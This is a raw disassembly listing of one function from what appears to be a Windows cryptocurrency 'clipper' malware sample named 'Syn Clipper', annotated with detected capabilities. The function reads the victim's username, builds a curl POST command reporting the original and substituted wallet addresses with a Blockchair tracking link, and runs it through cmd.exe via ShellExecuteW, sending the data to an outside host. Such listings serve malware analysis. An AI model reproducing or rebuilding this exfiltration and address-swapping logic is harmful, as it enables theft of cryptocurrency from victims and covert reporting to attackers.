Function at 0x401b98
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x358
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x230], xmm6
movaps xmmword [rbp + 0x240], xmm7
movaps xmmword [rbp + 0x250], xmm8
movaps xmmword [rbp + 0x260], xmm9
movaps xmmword [rbp + 0x270], xmm10
movaps xmmword [rbp + 0x280], xmm11
movaps xmmword [rbp + 0x290], xmm12
movaps xmmword [rbp + 0x2a0], xmm13
movaps xmmword [rbp + 0x2b0], xmm14
movaps xmmword [rbp + 0x2c0], xmm15
mov qword [rbp + 0x320], rcx
mov qword [rbp + 0x328], rdx
mov qword [rbp + 0x330], r8
lea rax, [sym.__gxx_personality_sj0]
mov qword [rbp - 0x10], rax
lea rax, [0x005531d8]
mov qword [rbp - 8], rax
mov rax, rbp
lea rbx, [rbp + 0x230]
mov qword [rax], rbx
lea rdx, [0x00402097]
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rsp
lea rax, [rbp - 0x40]
mov rcx, rax
call dbg._Unwind_SjLj_Register
lea rcx, str.username
call sym.getenv
mov qword [rbp - 0x48], rax
lea rax, [rbp + 0x1f0]
mov dword [rbp - 0x38], 0xffffffff
mov r8, qword [rbp + 0x320]
lea rdx, str.curl__X_POST__H__Content_Type:_application_json___d____content_:___everyone____embeds_:_____title_:__New
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
mov dword [rbp - 0x38], 1
lea r8, str._Clipped_:money_with_wings:____description_:__Original_Address:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1b0]
mov rcx, qword [rbp + 0x328]
lea rdx, [rbp + 0x1d0]
mov dword [rbp - 0x38], 2
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
mov dword [rbp - 0x38], 3
lea r8, str._nReplaced_With:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x170]
mov rcx, qword [rbp + 0x330]
lea rdx, [rbp + 0x190]
mov dword [rbp - 0x38], 4
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x150]
lea rdx, [rbp + 0x170]
mov dword [rbp - 0x38], 5
lea r8, str._nTracking_Link:__Track_with_Blockchair__https:__blockchair.com_search_q
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x130]
mov rcx, qword [rbp + 0x330]
lea rdx, [rbp + 0x150]
mov dword [rbp - 0x38], 6
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x130]
mov dword [rbp - 0x38], 7
lea r8, str._____color_:_14437476___footer_:___text_:__user:
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xf0]
lea rdx, [rbp + 0x110]
mov dword [rbp - 0x38], 8
mov r8, qword [rbp - 0x48]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xd0]
lea rdx, [rbp + 0xf0]
mov dword [rbp - 0x38], 9
lea r8, str.________username_:__Syn_Clipper___
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0xb0]
lea rdx, [rbp + 0xd0]
mov dword [rbp - 0x38], 0xa
lea r8, [0x00569040]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x110]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x130]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x170]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x190]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [rbp - 0x38], 0xb
mov ecx, 0x20
call sym.operator_new_unsigned_long_long_
mov dword [rbp - 0x38], 0xc
mov edx, 0
mov qword [rbp + 0x28], rax
mov rcx, rax
call method.std.codecvt_utf8_utf16_wchar_t__1114111ul___std::codecvt_mode_0_::codecvt_utf8_utf16_unsigned_long_long_
lea rax, [rbp + 0x50]
mov dword [rbp - 0x38], 0xb
mov rdx, qword [rbp + 0x28]
mov rcx, rax
call method.std::__cxx11::wstring_convert_std.codecvt_utf8_utf16_wchar_t__1114111ul___std::codecvt_mode_0___wchar_t__std::allocator_wchar_t___std::allocator_char___::wstring_convert_std::codecvt_utf8_utf16_wchar_t__1114111ul___std::codecvt_mode_0__
lea rax, [rbp + 0x30]
lea rcx, [rbp + 0xb0]
lea rdx, [rbp + 0x50]
mov dword [rbp - 0x38], 0xd
mov r8, rcx
mov rcx, rax
call sym._ZNSt7__cxx1115wstring_convertISt18codecvt_utf8_utf16IwLm1114111ELSt12codecvt_mode0EEwSaIwESaIcEE10from_bytesERKNS_12basic_str
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x30]
mov dword [rbp - 0x38], 0xe
mov r8, rdx
lea rdx, [0x0052f274]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____wchar_t_const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std:
lea rax, [rbp + 0x210]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.cmd.exe
lea rdx, [0x0052f28c]
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [rbp - 0x38], 0xf
call rax
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp + 0x50]
mov rcx, rax
call method.std::__cxx11::wstring_convert_std.codecvt_utf8_utf16_wchar_t__1114111ul___std::codecvt_mode_0___wchar_t__std::allocator_wchar_t___std::allocator_char___::wstring_convert__
lea rax, [rbp + 0xb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x402187
lea rax, [rbp - 0x40]
mov rcx, rax
call sym._Unwind_SjLj_Unregister
nop
movaps xmm6, xmmword [rbp + 0x230]
movaps xmm7, xmmword [rbp + 0x240]
movaps xmm8, xmmword [rbp + 0x250]
movaps xmm9, xmmword [rbp + 0x260]
movaps xmm10, xmmword [rbp + 0x270]
movaps xmm11, xmmword [rbp + 0x280]
movaps xmm12, xmmword [rbp + 0x290]
movaps xmm13, xmmword [rbp + 0x2a0]
movaps xmm14, xmmword [rbp + 0x2b0]
movaps xmm15, xmmword [rbp + 0x2c0]
add rsp, 0x358
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret